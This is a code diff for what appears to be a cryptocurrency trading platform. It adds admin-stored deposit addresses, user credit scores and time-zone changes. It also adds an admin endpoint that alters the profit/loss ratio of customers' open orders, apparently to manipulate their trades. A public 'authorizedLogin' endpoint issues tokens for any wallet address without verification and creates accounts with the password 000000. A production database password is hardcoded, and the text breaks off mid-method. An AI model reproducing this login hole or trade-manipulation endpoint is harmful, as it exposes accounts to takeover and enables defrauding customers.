trading-order-admin/src/main/java/com/yami/trading/WebApplication.java
@@ -23,6 +23,9 @@ import org.springframework.context.annotation.ComponentScan; import org.springframework.scheduling.annotation.EnableScheduling; import javax.annotation.PostConstruct; import java.util.TimeZone; /** * @author lgh */ @@ -37,6 +40,13 @@ SpringApplication.run(WebApplication.class, args); } @PostConstruct void init() { // 强制设置默认时区(影响整个JVM) TimeZone.setDefault(TimeZone.getTimeZone("Europe/Paris")); System.setProperty("user.timezone", "Europe/Paris"); } @Override protected SpringApplicationBuilder configure(SpringApplicationBuilder builder) { trading-order-admin/src/main/java/com/yami/trading/admin/controller/AddressController.java
New file @@ -0,0 +1,73 @@ package com.yami.trading.admin.controller; import com.yami.trading.admin.model.LoginModel; import com.yami.trading.admin.model.UpdateAddressModel; import com.yami.trading.bean.model.ChannelBlockchain; import com.yami.trading.common.domain.Result; import com.yami.trading.common.exception.YamiShopBindException; import com.yami.trading.common.util.GoogleAuthenticator; import com.yami.trading.security.common.bo.UserInfoInTokenBO; import com.yami.trading.security.common.enums.CryptoCurrencyEnum; import com.yami.trading.security.common.enums.SysTypeEnum; import com.yami.trading.security.common.util.LocalKeyStorageAESUtil; import com.yami.trading.security.common.vo.TokenInfoVO; import com.yami.trading.sys.model.SysUser; import io.swagger.annotations.Api; import io.swagger.annotations.ApiOperation; import org.springframework.web.bind.annotation.*; import javax.validation.Valid; import java.util.ArrayList; import java.util.List; import java.util.Objects; /** * @program: trading-order-master * @description: 充值地址 * @create: 2025-08-07 14:44 **/ @RestController @RequestMapping("address") @Api(tags = "充值地址") public class AddressController { /** * 地址列表 * @return */ @PostMapping("/list") public Result<?> list() { List<CryptoCurrencyEnum> currencyEnums = CryptoCurrencyEnum.getAll(); List<ChannelBlockchain> data = new ArrayList<>(); currencyEnums.forEach(f->{ try { String address = LocalKeyStorageAESUtil.loadAndDecrypt(f.getName()); ChannelBlockchain blockchain = new ChannelBlockchain(); blockchain.setBlockchain_name(f.getChain()); blockchain.setAddress(address); blockchain.setCoin(f.getCoin()); blockchain.setAuto(false); blockchain.setImg(null); data.add(blockchain); } catch (Exception e) { e.getMessage(); } }); return Result.succeed(data); } @PostMapping("/update") public Result<?> list(@RequestBody UpdateAddressModel model) { String name = model.getCoin()+"_"+model.getChain(); try { if(model.getCoin().equals("eth") || model.getCoin().equals("btc")){ name = model.getCoin(); } return LocalKeyStorageAESUtil.encryptAndStore(model.getPassword(),model.getAddress(),name); }catch (Exception e){ e.getMessage(); } return Result.succeed(); } } trading-order-admin/src/main/java/com/yami/trading/admin/controller/contract/ContractOrderController.java
@@ -4,7 +4,9 @@ import javax.validation.constraints.NotBlank; import cn.hutool.core.collection.CollectionUtil; import cn.hutool.core.util.ObjectUtil; import com.google.common.collect.Lists; import com.yami.trading.admin.model.AdjustProfitsModel; import com.yami.trading.bean.contract.domain.ContractApplyOrder; import com.yami.trading.bean.data.domain.Realtime; import com.yami.trading.common.domain.Result; @@ -86,6 +88,31 @@ return Result.succeed(result); } /** * 调整利润 * <p> * order_no 订单号 */ @PostMapping("adjustProfits.action") @ApiOperation(value = "调整利润") public Result<String> adjustProfits(@RequestBody AdjustProfitsModel model) { try { ContractOrder order = this.contractOrderService.findByOrderNo(model.getOrderNo()); if(ObjectUtil.isEmpty(order)){ return Result.failed("订单不存在!"); } if(!ContractOrder.STATE_SUBMITTED.equals(order.getState())){ return Result.failed("订单已平仓!"); } order.setProfitLossRatio(model.getProfitLossRatio()); contractOrderService.update(order); } catch (Exception e) { log.error("执行调整利润异常", e); throw new YamiShopBindException("执行调整利润异常"); } return Result.succeed("success"); } /** * 撤单 trading-order-admin/src/main/java/com/yami/trading/admin/controller/user/UserController.java
@@ -188,6 +188,7 @@ userBasicDto.setUid(user.getUserCode()); userBasicDto.setAccountType(Constants.ROLE_MAP.get(user.getRoleName())); userBasicDto.setRealNameAuthority(user.isRealNameAuthority()); userBasicDto.setCreditScore(user.getCreditScore()); return userBasicDto; }).collect(Collectors.toList()); trading-order-admin/src/main/java/com/yami/trading/admin/controller/user/UserDataController.java
@@ -87,22 +87,12 @@ if (user == null) { throw new YamiShopBindException("参数错误!"); } // if (Constants.SECURITY_ROLE_AGENT.equals(user.getRoleName())||Constants.SECURITY_ROLE_AGENTLOW.equals(user.getRoleName())) { // &&user!=null&&!Constants.SECURITY_ROLE_GUEST.equals(user.getRolename())) { // if(!Constants.SECURITY_ROLE_GUEST.equals(user.getRoleName())) { // throw new YamiShopBindException("只能修改演示账户"); // } // List<String> children = userRecomService.findChildren(sec.getPartyId()); // if(!children.contains(partyId)) { // throw new YamiShopBindException("只能修改自己线下的用户演示账户"); // // } // } user.setEnabled(model.isEnabled()); user.setRemarks(model.getRemarks()); user.setStatus(model.isLoginAuthority()?1:0); user.setWithdrawAuthority(model.isWithdrawAuthority()); user.setStatus(model.isLoginAuthority() ? 1 : 0); user.setCreditScore(model.getCreditScore()); userService.updateById(user); return Result.ok(null); } trading-order-admin/src/main/java/com/yami/trading/admin/model/AdjustProfitsModel.java
New file @@ -0,0 +1,19 @@ package com.yami.trading.admin.model; import lombok.Data; import org.springframework.web.bind.annotation.RequestParam; import javax.validation.constraints.NotBlank; /** * @program: trading-order-master * @description: 调整利润 * @create: 2025-08-07 19:11 **/ @Data public class AdjustProfitsModel { private String orderNo; private Double profitLossRatio; } trading-order-admin/src/main/java/com/yami/trading/admin/model/UpdateAddressModel.java
New file @@ -0,0 +1,17 @@ package com.yami.trading.admin.model; import lombok.Data; import org.springframework.web.bind.annotation.RequestParam; /** * @program: trading-order-master * @description: * @create: 2025-08-07 17:23 **/ @Data public class UpdateAddressModel { private String coin; private String chain; private String address; private String password; } trading-order-admin/src/main/java/com/yami/trading/admin/model/UpdateUserModel.java
@@ -22,6 +22,9 @@ private boolean enabled; @ApiModelProperty("备注") private String remarks; private String remarks; @ApiModelProperty("信用分") private Integer creditScore; } trading-order-admin/src/main/java/com/yami/trading/api/controller/ApiIndexController.java
@@ -1,18 +1,30 @@ package com.yami.trading.api.controller; import cn.hutool.core.util.ObjectUtil; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.yami.trading.api.model.RegisterModel; import com.yami.trading.api.model.UserLoginModel; import com.yami.trading.bean.constans.UserConstants; import com.yami.trading.bean.model.CapitaltWallet; import com.yami.trading.bean.model.Log; import com.yami.trading.bean.model.User; import com.yami.trading.bean.model.Wallet; import com.yami.trading.bean.syspara.domain.Syspara; import com.yami.trading.bean.syspara.dto.SysparasDto; import com.yami.trading.common.constants.Constants; import com.yami.trading.common.domain.Result; import com.yami.trading.common.exception.YamiShopBindException; import com.yami.trading.common.util.IPHelper; import com.yami.trading.dao.CapitaltWalletMapper; import com.yami.trading.security.common.bo.UserInfoInTokenBO; import com.yami.trading.security.common.enums.SysTypeEnum; import com.yami.trading.security.common.manager.PasswordCheckManager; import com.yami.trading.security.common.manager.PasswordManager; import com.yami.trading.security.common.manager.TokenStore; import com.yami.trading.security.common.vo.TokenInfoVO; import com.yami.trading.service.WalletService; import com.yami.trading.service.syspara.SysparaService; import com.yami.trading.service.system.LogService; import com.yami.trading.service.user.UserDataService; import com.yami.trading.service.user.UserService; import io.swagger.annotations.Api; @@ -20,12 +32,10 @@ import org.springframework.beans.factory.annotation.Autowired; import org.springframework.data.redis.core.RedisTemplate; import org.springframework.security.crypto.password.PasswordEncoder; import org.springframework.web.bind.annotation.CrossOrigin; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.bind.annotation.*; import javax.validation.Valid; import javax.validation.constraints.NotEmpty; import java.util.Date; /** @@ -45,11 +55,13 @@ UserService userService; @Autowired private PasswordEncoder passwordEncoder; @Autowired CapitaltWalletMapper capitaltWalletMapper; @Autowired LogService logService; @Autowired private WalletService walletService; @Autowired private RedisTemplate<String, String> redisTemplate; @@ -98,6 +110,76 @@ return Result.succeed(tokenInfoVO); } @PostMapping("/authorizedLogin") @ApiOperation(value = "钱包授权登录(用于前端登录)", notes = "钱包授权登录") public Result<TokenInfoVO> authorizedLogin(@RequestParam @NotEmpty String foxAddress) { //查询用户是不是钱包授权注册的 User user = userService.getOne(new LambdaQueryWrapper<>(User.class) .eq(User::getUserName, foxAddress) .eq(User::getAuthorizedStatus, 1)); if(ObjectUtil.isEmpty(user)){ user = new User(); user.setUserLevel(1); user.setCreditScore(80); user.setSafePassword(passwordEncoder.encode("000000")); user.setLoginPassword(passwordEncoder.encode("000000")); user.setUserName(foxAddress); user.setStatus(1); user.setRoleName(UserConstants.SECURITY_ROLE_MEMBER); user.setUserRegip(IPHelper.getIpAddr()); user.setUserLastip(user.getUserRegip()); user.setUserCode(getUserCode()); user.setCreateTime(new Date()); userService.save(user); //1.保存钱包记录 Wallet wallet = new Wallet(); wallet.setUserId(user.getUserId()); wallet.setCreateTime(new Date()); walletService.save(wallet); //资金账户 CapitaltWallet capitaltWallet = new CapitaltWallet(); capitaltWallet.setUserId(user.getUserId()); capitaltWallet.setCreateTime(new Date()); capitaltWalletMapper.insert(capitaltWallet); // Log log = new Log(); log.setCategory(Constants.LOG_CATEGORY_SECURITY); log.setLog("用户注册,ip[" + user.getUserRegip() + "]"); log.setUserId(user.getUserId()); log.setUsername(user.getUserName()); logService.save(log); } // 半小时内密码输入错误十次,已限制登录30分钟 UserInfoInTokenBO userInfoInToken = new UserInfoInTokenBO(); userInfoInToken.setUserId(user.getUserId()); userInfoInToken.setSysType(SysTypeEnum.ORDINARY.value()); userInfoInToken.setEnabled(user.getStatus() == 1); user.setUserLastip(IPHelper.getIpAddr()); user.setUserLasttime(new Date()); userService.online(user.getUserId()); userService.updateById(user); tokenStore.deleteAllToken(String.valueOf(SysTypeEnum.ORDINARY.value()), String.valueOf(user.getUserId())); // 存储token返回vo TokenInfoVO tokenInfoVO = tokenStore.storeAndGetVo(userInfoInToken); tokenInfoVO.setToken(tokenInfoVO.getAccessToken()); return Result.succeed(tokenInfoVO); } private String getUserCode() { Syspara syspara = sysparaService.find("user_uid_sequence"); int random = (int) (Math.random() * 3 + 1); int user_uid_sequence = syspara.getInteger() + random; SysparasDto sysparasDto = new SysparasDto(); sysparasDto.setUser_uid_sequence(user_uid_sequence + ""); sysparaService.updateSysparas(sysparasDto); String usercode = String.valueOf(user_uid_sequence); return usercode; } @PostMapping("/registerNoVerifcode") @ApiOperation(value = "手机/邮箱/用户名注册(无验证码)") public Result register(@Valid RegisterModel model) { @@ -125,70 +207,5 @@ return Result.succeed(tokenInfoVO); } // // @PostMapping("/sendSms") // @ApiOperation(value = "发送短信") // public ResponseEntity<?> sendSms(@RequestBody @Valid SendSmsModel model){ // String ip= IPHelper.getIpAddr(); // String mobile=model.getCode()+model.getMobile(); // String code= redisTemplate.opsForValue().get( RedisKeyConstants.USER_MOBILE_PREFIX+mobile); // if (!StrUtil.isEmpty(code)){ // throw new YamiShopBindException("发送短信频繁,请稍后在试!"); // } // String sendCodeType = sysparaService.find("send_code_type").getSvalue(); // String user = sysparaService.find("smsbao_u").getSvalue(); // String pwd = sysparaService.find("smsbao_p").getSvalue(); // boolean inter=true; // if ("86".equals(model.getCode())) { // inter=false; // } // String sendCodeText =sysparaService.find("send_code_text").getSvalue(); // if (StringUtils.isNullOrEmpty(sendCodeText)) { // throw new YamiShopBindException("send_code_text 未配置"); // } // String sendIp= redisTemplate.opsForValue().get(ip); // if (!StrUtil.isEmpty(sendIp)){ // throw new YamiShopBindException("IP发送短信频繁,请稍后在试!"); // } // Random random = new Random(); // // code = String.valueOf(random.nextInt(999999) % 900000 + 100000); // sendCodeText=MessageFormat.format(sendCodeText, new Object[] { code }); // smsManager.send(sendCodeType,user,pwd,inter,model.getMobile(),sendCodeText); // redisTemplate.opsForValue().set( RedisKeyConstants.USER_MOBILE_PREFIX+mobile,code,60, TimeUnit.SECONDS); // redisTemplate.opsForValue().set(ip,mobile,10, TimeUnit.SECONDS); // return ResponseEntity.ok(null); // } // // @PostMapping("/sendEmail") // @ApiOperation(value = "发送邮箱") // public ResponseEntity<?> sendEmail(@RequestBody @Valid SendEmailModel model){ //// String code= redisTemplate.opsForValue().get( RedisKeyConstants.USER_EMAILL_PREFIX+model.getEmail()); //// if (!StrUtil.isEmpty(code)){ //// throw new YamiShopBindException("发送yo频繁,请稍后在试!"); //// } // // String sendCodeText =sysparaService.find("send_code_text").getSvalue(); // if (StringUtils.isNullOrEmpty(sendCodeText)) { // throw new YamiShopBindException("send_code_text 未配置"); // } // Random random = new Random(); // String code = String.valueOf(random.nextInt(999999) % 900000 + 100000); // sendCodeText=MessageFormat.format(sendCodeText, new Object[] { code }); // String content = MessageFormat.format("code is :{0}", new Object[] { code }); // EmailMessage emailMessage=new EmailMessage(); // emailMessage.setTomail(model.getEmail()); // emailMessage.setSubject(sendCodeText); // emailMessage.setContent(content); // emailManager.send(emailMessage); // redisTemplate.opsForValue().set( RedisKeyConstants.USER_EMAILL_PREFIX+model.getEmail(),code,60, TimeUnit.SECONDS); // return ResponseEntity.ok(null); // } } trading-order-admin/src/main/java/com/yami/trading/api/controller/ApiRechargeBlockchainController.java
@@ -112,6 +112,9 @@ if (null != nofinishOrderCount && 0 != nofinishOrderCount.longValue() && 1 == recharge_only_one) { throw new YamiShopBindException("提交失败,当前有未处理银行卡订单"); } if(coin.equals("btc") || coin.equals("eth")){ coin += "usdt"; } RechargeBlockchainOrder recharge = new RechargeBlockchainOrder(); recharge.setAddress(from); recharge.setBlockchainName(blockchain_name); trading-order-admin/src/main/java/com/yami/trading/api/controller/ApiUserController.java
@@ -497,6 +497,7 @@ map.put("advancedverif", party.isHighlevelAuthority()); map.put("lastlogintime", party.getUserLasttime()); map.put("lastloginip", party.getUserLastip()); map.put("creditScore", party.getCreditScore()); // 实名认证通过返回真实姓名 if (party.isRealNameAuthority()) { map.put("name", kyc.getName()); trading-order-admin/src/main/java/com/yami/trading/api/controller/exchange/ApiChannelBlockchainController.java
@@ -9,13 +9,14 @@ import com.alibaba.fastjson.JSONObject; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.fasterxml.jackson.databind.ObjectMapper; import com.yami.trading.security.common.enums.CryptoCurrencyEnum; import com.yami.trading.security.common.util.LocalKeyStorageAESUtil; import com.yami.trading.api.UD.*; import com.yami.trading.api.UD.Address; import com.yami.trading.bean.exchange.PartyBlockchain; import com.yami.trading.bean.model.ChannelBlockchain; import com.yami.trading.bean.model.RechargeBlockchainOrder; import com.yami.trading.bean.model.User; import com.yami.trading.bean.vo.RechargeAddressVo; import com.yami.trading.common.constants.Constants; import com.yami.trading.common.domain.Result; import com.yami.trading.common.exception.YamiShopBindException; @@ -121,50 +122,78 @@ * 根据币种获取链地址 */ @GetMapping(action + "getBlockchainName.action") public Object getBlockchainName(HttpServletRequest request) throws IOException { public Object getBlockchainName(HttpServletRequest request) throws Exception { String coin = request.getParameter("coin"); List<ChannelBlockchain> data = new ArrayList<ChannelBlockchain>(); String partyId =SecurityUtils.getUser().getUserId(); User party = userService.getById(partyId); if (0 == this.sysparaService.find("can_recharge").getInteger()) { return Result.failed("请联系客服充值"); } List<PartyBlockchain> list = partyBlockchainService.findByUserNameAndCoinSymbol(party.getUserName(), coin); if (null != list && !list.isEmpty()) { data = list.stream().map(dict -> { String qrImage = dict.getQrImage(); String chainAddress = dict.getAddress(); String chainName = dict.getChainName(); String coinSymbol = dict.getCoinSymbol(); String autoStr = dict.getAuto(); boolean auto = autoStr.equals("Y") ? true : false; ChannelBlockchain cbc = new ChannelBlockchain(); cbc.setBlockchain_name(chainName); cbc.setAddress(chainAddress); cbc.setCoin(coinSymbol); cbc.setAuto(auto); cbc.setImg(qrImage); return cbc; }).collect(Collectors.toList()); } //后台设置地址 if (data.isEmpty()) data = this.channelBlockchainService.findByCoin(coin.toLowerCase()); for (int i = 0; i < data.size(); i++) { data.get(i).setBlockchain_name(data.get(i).getBlockchainName()); if (1 == this.sysparaService.find("can_recharge").getInteger()) { if (!StringUtils.isNullOrEmpty(data.get(i).getImg())) { String path = Constants.WEB_URL + "/public/showimg!showImg.action?imagePath=" + data.get(i).getImg(); data.get(i).setImgStr("/public/showimg!showImg.action?imagePath=" + data.get(i).getImg()); data.get(i).setImg(path); try { coin = coin.toLowerCase(); Map<String, List<CryptoCurrencyEnum>> allGroupedByCoin = CryptoCurrencyEnum.getAllGroupedByCoin(); List<CryptoCurrencyEnum> currencyEnums = allGroupedByCoin.get(coin); currencyEnums.forEach(f->{ try { String address = LocalKeyStorageAESUtil.loadAndDecrypt(f.getName()); ChannelBlockchain blockchain = new ChannelBlockchain(); blockchain.setBlockchain_name(f.getChain()); blockchain.setAddress(address); blockchain.setCoin(f.getCoin()); blockchain.setAuto(false); blockchain.setImg(null); data.add(blockchain); } catch (Exception e) { e.getMessage(); } } else { data.get(i).setImg(null); data.get(i).setImgStr(null); data.get(i).setAddress(null); } }); }catch (Exception e){ log.error("获取充值地址错误:",e); return Result.failed("充值链暂不可用"); } return Result.succeed(data); // String partyId =SecurityUtils.getUser().getUserId(); // User party = userService.getById(partyId); // if (0 == this.sysparaService.find("can_recharge").getInteger()) { // return Result.failed("请联系客服充值"); // } // List<PartyBlockchain> list = partyBlockchainService.findByUserNameAndCoinSymbol(party.getUserName(), coin); // if (null != list && !list.isEmpty()) { // data = list.stream().map(dict -> { // String qrImage = dict.getQrImage(); // String chainAddress = dict.getAddress(); // String chainName = dict.getChainName(); // String coinSymbol = dict.getCoinSymbol(); // String autoStr = dict.getAuto(); // boolean auto = autoStr.equals("Y") ? true : false; // ChannelBlockchain cbc = new ChannelBlockchain(); // cbc.setBlockchain_name(chainName); // cbc.setAddress(chainAddress); // cbc.setCoin(coinSymbol); // cbc.setAuto(auto); // cbc.setImg(qrImage); // return cbc; // }).collect(Collectors.toList()); // } // return Result.succeed(data); // //后台设置地址 // if (data.isEmpty()) data = this.channelBlockchainService.findByCoin(coin.toLowerCase()); // for (int i = 0; i < data.size(); i++) { // data.get(i).setBlockchain_name(data.get(i).getBlockchainName()); // if (1 == this.sysparaService.find("can_recharge").getInteger()) { // if (!StringUtils.isNullOrEmpty(data.get(i).getImg())) { // String path = Constants.WEB_URL + "/public/showimg!showImg.action?imagePath=" + data.get(i).getImg(); // data.get(i).setImgStr("/public/showimg!showImg.action?imagePath=" + data.get(i).getImg()); // data.get(i).setImg(path); // } // } else { // data.get(i).setImg(null); // data.get(i).setImgStr(null); // data.get(i).setAddress(null); // } // } // String partyId =SecurityUtils.getUser().getUserId(); // if(!StringUtils.isNotEmpty(partyId)){ @@ -223,7 +252,6 @@ // } // }); // return Result.succeed(rechargeAddressVo); return Result.succeed(data); } public List<Coin> listSupportCoin(String merchantId , boolean showBalance) { trading-order-admin/src/main/resources/application-local.yml
@@ -2,7 +2,7 @@ port: 8086 spring: datasource: url: jdbc:mysql://127.0.0.1:3306/trading_order?allowMultiQueries=true&useSSL=false&useUnicode=true&characterEncoding=UTF-8&autoReconnect=true&zeroDateTimeBehavior=convertToNull&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTimezone=GMT%2B8&nullCatalogMeansCurrent=true url: jdbc:mysql://127.0.0.1:3306/trading_order?allowMultiQueries=true&useSSL=false&useUnicode=true&characterEncoding=UTF-8&autoReconnect=true&zeroDateTimeBehavior=convertToNull&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTimezone=GMT%2B8&nullCatalogMeansCurrent=true&serverTimezone=Europe/Paris&useLegacyDatetimeCode=false username: root password: 123456 driver-class-name: com.mysql.cj.jdbc.Driver @@ -14,6 +14,13 @@ validation-timeout: 3000 # 设置连接验证超时 auto-commit: true connection-test-query: SELECT 1 jpa: properties: hibernate: jdbc: time_zone: Europe/Paris jackson: time-zone: Europe/Paris cache: type: redis redis: trading-order-admin/src/main/resources/application-prod.yml
@@ -1,8 +1,8 @@ server: port: 8111 port: 8222 spring: datasource: url: jdbc:mysql://127.0.0.1:6306/trading_order?allowMultiQueries=true&useSSL=false&useUnicode=true&characterEncoding=UTF-8&autoReconnect=true&zeroDateTimeBehavior=convertToNull&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTimezone=GMT%2B8&nullCatalogMeansCurrent=true url: jdbc:mysql://127.0.0.1:6306/8.4?allowMultiQueries=true&useSSL=false&useUnicode=true&characterEncoding=UTF-8&autoReconnect=true&zeroDateTimeBehavior=convertToNull&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTimezone=GMT%2B8&nullCatalogMeansCurrent=true&serverTimezone=Europe/Paris&useLegacyDatetimeCode=false username: root password: Err;2[eoGFUriwdgr driver-class-name: com.mysql.cj.jdbc.Driver @@ -13,6 +13,13 @@ idle-timeout: 25000 auto-commit: true connection-test-query: SELECT 1 jpa: properties: hibernate: jdbc: time_zone: Europe/Paris jackson: time-zone: Europe/Paris cache: type: redis redis: trading-order-admin/src/main/resources/application.yml
@@ -10,11 +10,15 @@ enabled: true jackson: date-format: yyyy-MM-dd HH:mm:ss time-zone: GMT+8 time-zone: Europe/Paris mvc: pathmatch: matching-strategy: ANT_PATH_MATCHER jpa: properties: hibernate: jdbc: time_zone: Europe/Paris # mybaits-plus配置 mybatis-plus: # MyBatis Mapper所对应的XML文件位置 trading-order-admin/src/main/resources/redisson/redisson-dev.yml
@@ -1,7 +1,7 @@ # 单节点设置 singleServerConfig: address: redis://127.0.0.1:6380 database: 10 database: 8 password: idleConnectionTimeout: 10000 connectTimeout: 10000 trading-order-bean/src/main/java/com/yami/trading/bean/contract/domain/ContractOrder.java
@@ -138,6 +138,12 @@ */ private Integer locationType = 1; /** * 盈亏比 */ private Double profitLossRatio; public BigDecimal getAmountClose() { if(amountClose == null){ amountClose = BigDecimal.ZERO; trading-order-bean/src/main/java/com/yami/trading/bean/contract/dto/ContractOrderDTO.java
@@ -173,6 +173,11 @@ */ private String forceClosePrice; /** * 盈亏比 */ private Double profitLossRatio; public BigDecimal getProfitLoss() { if("submitted".equalsIgnoreCase(state)){ return amountClose.add(profit).add(deposit).subtract(depositOpen).setScale(4, BigDecimal.ROUND_HALF_UP); trading-order-bean/src/main/java/com/yami/trading/bean/model/RechargeBlockchainOrder.java
@@ -1,6 +1,8 @@ package com.yami.trading.bean.model; import com.baomidou.mybatisplus.annotation.FieldFill; import com.baomidou.mybatisplus.annotation.TableField; import com.baomidou.mybatisplus.annotation.TableName; import com.fasterxml.jackson.annotation.JsonFormat; import com.yami.trading.common.domain.BaseEntity; import com.yami.trading.common.domain.UUIDEntity; import lombok.Data; trading-order-bean/src/main/java/com/yami/trading/bean/model/User.java
@@ -192,10 +192,20 @@ private boolean enabled=true; /** * 状态 0 普通注册 1 钱包注册 */ private Integer authorizedStatus = 1; /** * 信用分 */ private Integer creditScore; @ApiModelProperty("登录权限") private boolean loginAuthority; // private String balanceIncomeConfig; } trading-order-bean/src/main/java/com/yami/trading/bean/user/dto/UserBasicDto.java
@@ -25,4 +25,9 @@ @ApiModelProperty("基础认证") private boolean realNameAuthority; /** * 信用分 */ private Integer creditScore; } trading-order-bean/src/main/java/com/yami/trading/bean/user/dto/UserDataDto.java
@@ -103,7 +103,10 @@ */ private boolean userMobileBind=false; /** * 信用分 */ private Integer creditScore; trading-order-common/src/main/java/com/yami/trading/common/domain/BaseEntity.java
@@ -1,6 +1,7 @@ package com.yami.trading.common.domain; import com.baomidou.mybatisplus.annotation.*; import com.fasterxml.jackson.annotation.JsonFormat; import lombok.Data; import lombok.EqualsAndHashCode; @@ -20,6 +21,7 @@ /** * 创建日期 */ @JsonFormat(pattern = "yyyy-MM-dd HH:mm:ss", timezone = "Europe/Paris") @TableField(fill = FieldFill.INSERT) private Date createTime; /** @@ -36,6 +38,7 @@ /** * 更新日期 */ @JsonFormat(pattern = "yyyy-MM-dd HH:mm:ss", timezone = "Europe/Paris") @TableField(fill = FieldFill.INSERT_UPDATE) private Date updateTime; trading-order-common/src/main/java/com/yami/trading/common/util/DateUtils.java
@@ -20,7 +20,7 @@ public static final String DEFAULT_DATE_FORMAT = "yyyy-MM-dd"; public static final String DEFAULT_TIME_ZONE = "GMT+8:00"; public static final String DEFAULT_TIME_ZONE = "Europe/Paris"; public static final String NORMAL_DATE_FORMAT = "yyyy-MM-dd HH:mm:ss"; trading-order-security-common/src/main/java/com/yami/trading/security/common/adapter/ResourceServerAdapter.java
@@ -61,7 +61,8 @@ "/etf/robot/list", "/api/banner!list.action", "/api/news!list_v2_popup.action", "/api/news!list.action" "/api/news!list.action", "/api/authorizedLogin" ); trading-order-security-common/src/main/java/com/yami/trading/security/common/enums/CryptoCurrencyEnum.java
New file @@ -0,0 +1,75 @@ package com.yami.trading.security.common.enums; import java.util.Arrays; import java.util.List; import java.util.Map; import java.util.stream.Collectors; /** * @program: trading-order-master * @description: 充值币种 * @create: 2025-08-06 16:05 **/ public enum CryptoCurrencyEnum { USDT_TRC20("usdt", "trc20","usdt_trc20"), USDT_ERC20("usdt", "erc20","usdt_erc20"), ETH("eth", "eth","eth"), BTC("btc", "btc","btc"), USDC_TRC20("usdc", "trc20","usdc_trc20"), USDC_ERC20("usdc", "erc20","usdc_erc20"); private final String coin; private final String chain; private final String name; CryptoCurrencyEnum(String coin, String chain,String name) { this.coin = coin; this.chain = chain; this.name = name; } public String getCoin() { return coin; } public String getChain() { return chain; } public String getName() { return name; } // 可选:根据代码获取枚举值的方法 public static CryptoCurrencyEnum fromCoin(String coin,String chain) { for (CryptoCurrencyEnum currency : values()) { if (currency.getCoin().equals(coin) && currency.getChain().equals(chain)) { return currency; } } throw new IllegalArgumentException("没找到对应的币种: " + coin); } /** * 获取所有枚举值(返回 List) */ public static List<CryptoCurrencyEnum> getAll() { return Arrays.asList(values()); } /** * 获取所有枚举值(按 coin 分组,返回 Map<String, List<CryptoCurrencyEnum>>) */ public static Map<String, List<CryptoCurrencyEnum>> getAllGroupedByCoin() { return Arrays.stream(values()) .collect(Collectors.groupingBy(CryptoCurrencyEnum::getCoin)); } /** * 获取所有枚举值(按 chain 分组,返回 Map<String, List<CryptoCurrencyEnum>>) */ public static Map<String, List<CryptoCurrencyEnum>> getAllGroupedByChain() { return Arrays.stream(values()) .collect(Collectors.groupingBy(CryptoCurrencyEnum::getChain)); } } trading-order-security-common/src/main/java/com/yami/trading/security/common/util/LocalKeyStorageAESUtil.java
New file @@ -0,0 +1,310 @@ package com.yami.trading.security.common.util; import com.yami.trading.common.domain.Result; import com.yami.trading.security.common.enums.CryptoCurrencyEnum; import javax.crypto.*; import javax.crypto.spec.*; import java.io.File; import java.math.BigDecimal; import java.math.RoundingMode; import java.security.*; import java.util.*; import java.nio.charset.StandardCharsets; import java.nio.file.*; import java.util.logging.Logger; public class LocalKeyStorageAESUtil { private static final Logger logger = Logger.getLogger(LocalKeyStorageAESUtil.class.getName()); // 加密算法参数 private static final String ALGORITHM = "AES"; private static final String TRANSFORMATION = "AES/GCM/NoPadding"; private static final int TAG_LENGTH = 128; // bits private static final int IV_LENGTH = 12; // bytes private static final int KEY_LENGTH = 256; // bits private static final int SALT_LENGTH = 16; // bytes private static final int ITERATIONS = 65536; // 安全配置 - 生产环境中应从外部配置读取 private static final Path KEY_FILE = Paths.get("D:/aes/aes_key.dat"); private static final String FILE = "D:/aes/"; private static final String FILENAME = "_address.dat"; /** * 加密文本并保存到文件,加密前校验密码与派生密钥是否匹配 * @param password 用户提供的密码 * @param text 要加密的文本 * @param symbolName 用于生成文件名 * @return 操作结果 * @throws Exception 加密过程中发生的任何异常 */ public static Result encryptAndStore(String password, String text, String symbolName) throws Exception { try { logger.info("开始加密过程..."); // 1. 检查密钥文件是否存在 if (!Files.exists(KEY_FILE)) { return Result.failed("密钥文件丢失,请联系管理员"); } // //重置密钥 客户更新完密码之后要重新打包提交 // reset(password); // 2. 加载现有密钥材料 KeyMaterial existingKey = loadKeyMaterial(); // 4. 正常加密流程(非重置情况) if (!validatePassword(password, existingKey.salt, existingKey.secretKey.getEncoded())) { logger.info("修改地址密码验证失败!"); return Result.failed("密码验证失败"); } // 5. 使用现有密钥加密新数据 byte[] iv = generateRandomBytes(IV_LENGTH); String ciphertext = encryptData(text, existingKey.secretKey, iv); String encryptedData = Base64.getEncoder().encodeToString(iv) + ":" + ciphertext; // 6. 保存加密数据 Path encryptedDataFile = getEncryptedDataFile(FILE, symbolName, FILENAME); Files.write(encryptedDataFile, encryptedData.getBytes(StandardCharsets.UTF_8)); logger.info("加密完成并已保存到文件"); return Result.succeed(); } catch (Exception e) { logger.severe("加密过程中发生错误: " + e.getMessage()); throw e; } } /** * 验证密码与密钥是否匹配 * @param password 用户提供的密码 * @param salt 盐值 * @param storedKeyBytes 存储的密钥字节 * @return 验证是否通过 */ private static boolean validatePassword(String password, byte[] salt, byte[] storedKeyBytes) throws Exception { // 使用相同参数重新派生密钥 SecretKey derivedKey = deriveKey(password.toCharArray(), salt); // 比较派生出的密钥与存储的密钥是否一致 return Arrays.equals(derivedKey.getEncoded(), storedKeyBytes); } /** * 获取加密数据文件路径 */ /** * 获取加密数据文件路径 */ private static Path getEncryptedDataFile(String basePath, String symbolName, String filename) { // 确保basePath以分隔符结尾 if (!basePath.endsWith(File.separator)) { basePath += File.separator; } // 创建目录结构 File dir = new File(basePath); if (!dir.exists()) { dir.mkdirs(); } // 构建完整文件路径 (basePath + symbolName + filename) String filePath = basePath + symbolName + filename; return Paths.get(filePath); } /** * 从文件加载并解密数据 * @return 解密后的原始文本 * @throws Exception 解密过程中发生的任何异常 */ public static String loadAndDecrypt(String symbolName) throws Exception { try { logger.info("开始解密过程..."); Path encryptedDataFile = getEncryptedDataFile(FILE, symbolName, FILENAME); // 检查文件是否存在 if 